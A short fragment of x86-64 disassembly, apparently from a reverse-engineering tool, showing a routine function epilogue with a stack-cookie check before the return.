mov rcx, qword [rbp + 0x48]
xor rcx, rsp
call fcn.1400bc390
add rsp, 0x1e0
pop rbp
ret